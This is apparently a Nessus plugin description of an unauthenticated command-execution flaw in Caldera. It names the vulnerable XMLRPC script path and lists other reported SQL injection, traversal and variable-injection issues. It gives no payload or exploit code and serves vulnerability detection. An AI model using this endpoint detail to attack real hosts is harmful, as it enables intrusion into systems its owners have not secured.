Description

The Caldera installation on the remote host contains a PHP script that is affected by an arbitrary command execution vulnerability. A remote, unauthenticated attacker can exploit this issue by sending a crafted XMLRPC request to the '/costview3/xmlrpc_server/xmlrpc.php' script, allowing for the execution of arbitrary commands on the remote host.

Note that the application is also reportedly affected by a directory traversal vulnerability, multiple variable injection vulnerabilities, and multiple SQL injection vulnerabilities; however, Nessus has not tested for these issues.
